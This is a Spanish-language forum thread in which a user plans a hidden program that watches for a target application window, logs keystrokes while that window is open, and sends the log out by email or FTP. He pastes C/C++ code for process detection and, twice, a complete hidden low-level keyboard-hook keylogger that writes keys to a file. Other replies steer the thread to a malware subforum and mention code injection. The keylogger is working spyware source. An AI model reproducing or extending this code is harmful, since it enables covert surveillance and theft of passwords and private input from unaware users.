Autor
|
Tema: Captura de datos, cuando , (determinado momento) (Leído 3,366 veces)
|
c3r0x
Desconectado
Mensajes: 70
http://imagizer.imageshack.us/v2/800x600q90/809/lt
|
Ola comunidad, tengo una duda con respecto, umm digamolo asi, a la arquitectura de un programa, que tengoen mente pero dudo si es posible o no, por eso acudo a uds, para q resuelvan mi duda, el proposito principal del programa es el siguiente, 1.ejecutarce ocultamente, y estar a la espera 2.detectar xxx.exe proceso 3.interceptar con nombre xxx una subventada del proceso xxx.exe 4.prender modo captura keylogger on 5.verifica cuando la subventana xxx es cerrada 6.detener la captura de datos keylogger 7.mandar datos obtenidos por correo o email 8.fin del programa este seria el esqueleto , del programa 2paso . luego a la espera, hacechando su presa, un programa "otro programa ejecutado previamente, puede ser una aplicacion cualquiera como ejemplo " una vez el programa es ejecutado, mi programa la intercepta 3páso.verifica "si es posible" por el nombre de la ventana, ej: abres el programa presa, digamos que es un programa , dentro del programa, das clicl en un boton y este conduce a una subventana del programa con otras respectivas opciones es decir, PROGRAMA COMPLETO EJECUTADO-ABRIR BOTON-ABRE SUBVENTANA DE EL PROGRAMA 4.una vez detectada esta subventana, mi programa espia, comienza a capturar, datos, como snifer, en ese determinado tiempo, pongamolo en un modo entendible. *MY PROGRAMA -A LA ESPERA DEL PROGRAMA PRESA . SI EL PROCESO XXX.EXE ES EJECUTADO ENTONCES [ESPERA Y VERIFICA VENTANA PRESA CON NOMBRE XXX DEL PROCESO XXX.EXE] SI ES [EMPEZAR A CAPTURAR DATOS] *VERIFICA CONSTANTEMENTE SI LA VENTANA PRESA FUE CERRADA ENTONCES [TERMINE DE CAPTURAR DATOS] Y LUEGO [GENERAR UN TXT Y MANDARLO POR CORREO O SUBIRLO VIA FTP A UN SERVIDOR ]
FIN DEL PROGRAMA
|
|
« Última modificación: 23 Febrero 2014, 17:20 pm por c3r0x »
|
En línea
|
|
|
|
xaps
Desconectado
Mensajes: 157
|
Esto no va aquí. Esto debería ir al subforo de Diseño de Malware.
Saludos
|
|
|
En línea
|
"The programmers of tomorrow are the wizards of the future" - Gave Newel
|
|
|
c3r0x
Desconectado
Mensajes: 70
http://imagizer.imageshack.us/v2/800x600q90/809/lt
|
realmente yo no lo veo como un malware, solo es un programa por fun
|
|
|
En línea
|
|
|
|
amchacon
Desconectado
Mensajes: 1.211
|
Teóricamente sí, en la práctica dudo que un SO que puedas hacerlo al 100% sin encontrarte trabas. Además, ¿como descifras el mogollón de datos?
|
|
|
En línea
|
|
|
|
xaps
Desconectado
Mensajes: 157
|
Venga hombre, que no nací ayer. De todas maneras, aun sin considerarlo malware seguiría estando en un subforo incorrecto (Su subforo sería Programación general). Teóricamente sí, en la práctica dudo que un SO que puedas hacerlo al 100% sin encontrarte trabas. Además, ¿como descifras el mogollón de datos?
Creo que sería más fácil mediante inyección de código. De esta manera te aseguras que los datos que recibes son estrictamente únicos del "target".
|
|
|
En línea
|
"The programmers of tomorrow are the wizards of the future" - Gave Newel
|
|
|
c3r0x
Desconectado
Mensajes: 70
http://imagizer.imageshack.us/v2/800x600q90/809/lt
|
Venga hombre, que no nací ayer. De todas maneras, aun sin considerarlo malware seguiría estando en un subforo incorrecto (Su subforo sería Programación general). Creo que sería más fácil mediante inyección de código. De esta manera te aseguras que los datos que recibes son estrictamente únicos del "target".
y si yo lo quiero programar en C/C++ ? creo q olvidaste esa probavilidad, ahora , tecnicamente, cual seria la ruta mas facil
|
|
|
En línea
|
|
|
|
xaps
Desconectado
Mensajes: 157
|
y si yo lo quiero programar en C/C++ ? creo q olvidaste esa probavilidad, ahora , tecnicamente, cual seria la ruta mas facil
¿Dónde lo pone? Si no me equivoco, estás preguntando si es posible realizar una aplicación con ese esquema, no estás pidiendo ayuda concreta sobre una función o un fragmento de código en C++. Revísate las normas del foro, haz el favor. Y la ruta más fácil depende de muchas variables, entre ellas la aplicación que tengas como objetivo (Y que sea la más fácil no significa que sea la más eficaz). Si quieres una ayuda más técnica tendrás que ser más preciso en tus explicaciones. Yo he nombrado la inyección de código por el problema que planteaba amchacon, pero muy probablemente haya mejores técnicas y métodos para hacerlo.
|
|
|
En línea
|
"The programmers of tomorrow are the wizards of the future" - Gave Newel
|
|
|
c3r0x
Desconectado
Mensajes: 70
http://imagizer.imageshack.us/v2/800x600q90/809/lt
|
¿Dónde lo pone? Si no me equivoco, estás preguntando si es posible realizar una aplicación con ese esquema, no estás pidiendo ayuda concreta sobre una función o un fragmento de código en C++. Revísate las normas del foro, haz el favor. Y la ruta más fácil depende de muchas variables, entre ellas la aplicación que tengas como objetivo (Y que sea la más fácil no significa que sea la más eficaz). Si quieres una ayuda más técnica tendrás que ser más preciso en tus explicaciones. Yo he nombrado la inyección de código por el problema que planteaba amchacon, pero muy probablemente haya mejores técnicas y métodos para hacerlo. bueno si lo postie, aqui , fue por una razon, no por jugar al tin marin, busque un poco en la red y encontre lo siguientes datos encontre esto basicamente, la aplicacion detecta un proceso en ejecucion, PASO #1 #include <vdmdbg.h>
String Server = "xxxx.exe"; bool Conectado = IsRuningW(Server.c_str()) ; bool IsRunning16_(char* Name) { struct TRuningProcess16{ char* Name; bool Running; static BOOL WINAPI ProcessTasks(DWORD dwThreadId, WORD hMod16, WORD hTask16, PSZ pszModName, PSZ pszFileName, LPARAM PE) { if(strstr(strupr(pszFileName), strupr(((TRuningProcess16*)PE)->Name))) return ((TRuningProcess16*)PE)->Running = true; return false; } static BOOL WINAPI ProcessVDMs(DWORD dwProcessId, DWORD dwAttrib, LPARAM PE) { VDMEnumTaskWOWEx(dwProcessId, (TASKENUMPROCEX)ProcessTasks, PE); return ((TRuningProcess16*)PE)->Running; } } PE = {Name,0}; VDMEnumProcessWOW((PROCESSENUMPROC)ProcessVDMs, (LPARAM)&PE); return PE.Running; }
primer paso echo. seguire editando segun vaya encontrando los paso a paso SIGO.. PASO#2 /* * Código presentado por Elinv. * Captura una ventana por su caption y le envia datos. * Hotkey para finalizar un programa * CODE BLOCK 10.05 - * Win32 GUI project -> tipo Frame Based */ #include <windows.h> #include <winuser.h> #include <stdio.h> #include <string.h> // global hook handle is needed to use a low-level keyboard hook HHOOK hProc; __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam); DWORD __stdcall Keylogger (LPVOID path); void MessageLoop (void); int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { FreeConsole (); nShowCmd = SW_HIDE; LPTSTR execName = GetCommandLine (); HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL); if (hThread) return WaitForSingleObject (hThread, INFINITE); return 1; } __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) { // info about the key like the virtual-key code, scan code, some flags, time of the message and extra info KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam); // prepare the first parameter for the function GetKeyNameText() picking only the important information DWORD keyMessage = 1; keyMessage |= keyInfo.scanCode << 16; keyMessage |= (keyInfo.flags & 1) << 24; // load the key name in a buffer char keyName[0x100]; memset (keyName, 0, 0x100); keyName[0] = '['; int i = GetKeyNameText (keyMessage, keyName+1, 0xFE); keyName[i+1] = ']'; // write the buffer in file FILE *f = fopen ("log.txt", "a+"); fputs (keyName, f); fclose (f); } return CallNextHookEx (NULL, nCode, wParam, lParam); } DWORD __stdcall Keylogger (LPVOID path) { // try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library. HINSTANCE hExec = GetModuleHandle (NULL); if (!hExec) hExec = LoadLibrary ((LPCTSTR) path); // two methods failed so return error if (!hExec) return 1; // install the hook hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0); // message loop to manage all the incoming messages MessageLoop (); UnhookWindowsHookEx (hProc); return 0; } void MessageLoop (void) { MSG message; while (GetMessage (&message, NULL, 0, 0)) { TranslateMessage (&message); DispatchMessage (&message); } } PASO #4 PRENDER CAPTURA MODO KEYLOGGER ON #include <windows.h> #include <winuser.h> #include <stdio.h> #include <string.h> // global hook handle is needed to use a low-level keyboard hook HHOOK hProc; __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam); DWORD __stdcall Keylogger (LPVOID path); void MessageLoop (void); int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { FreeConsole (); nShowCmd = SW_HIDE; LPTSTR execName = GetCommandLine (); HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL); if (hThread) return WaitForSingleObject (hThread, INFINITE); return 1; } __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) { // info about the key like the virtual-key code, scan code, some flags, time of the message and extra info KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam); // prepare the first parameter for the function GetKeyNameText() picking only the important information DWORD keyMessage = 1; keyMessage |= keyInfo.scanCode << 16; keyMessage |= (keyInfo.flags & 1) << 24; // load the key name in a buffer char keyName[0x100]; memset (keyName, 0, 0x100); keyName[0] = '['; int i = GetKeyNameText (keyMessage, keyName+1, 0xFE); keyName[i+1] = ']'; // write the buffer in file FILE *f = fopen ("log.txt", "a+"); fputs (keyName, f); fclose (f); } return CallNextHookEx (NULL, nCode, wParam, lParam); } DWORD __stdcall Keylogger (LPVOID path) { // try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library. HINSTANCE hExec = GetModuleHandle (NULL); if (!hExec) hExec = LoadLibrary ((LPCTSTR) path); // two methods failed so return error if (!hExec) return 1; // install the hook hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0); // message loop to manage all the incoming messages MessageLoop (); UnhookWindowsHookEx (hProc); return 0; } void MessageLoop (void) { MSG message; while (GetMessage (&message, NULL, 0, 0)) { TranslateMessage (&message); DispatchMessage (&message); } }
|
|
« Última modificación: 23 Febrero 2014, 17:26 pm por c3r0x »
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Enviar datos a determinado Socket
Programación Visual Basic
|
HJZR4
|
6
|
2,737
|
4 Octubre 2007, 16:55 pm
por HJZR4
|
|
|
Como conocer que libreria utiliza un software en un momento determinado
Ingeniería Inversa
|
Skeletron
|
8
|
4,248
|
25 Junio 2013, 01:52 am
por Skeletron
|
|
|
Hay forma de comprobar la pulsación de teclas en un determinado momento?
Java
|
PabloPbl
|
3
|
2,458
|
21 Julio 2016, 00:19 am
por PabloPbl
|
|
|
El incómodo momento cuando tu administración local te invita a visitar una ...
Noticias
|
wolfbcn
|
0
|
1,298
|
30 Octubre 2016, 18:55 pm
por wolfbcn
|
|
|
problema al momento de mostrar los datos por filtrado del status
Bases de Datos
|
geshiro
|
0
|
3,195
|
24 Junio 2017, 05:22 am
por geshiro
|
|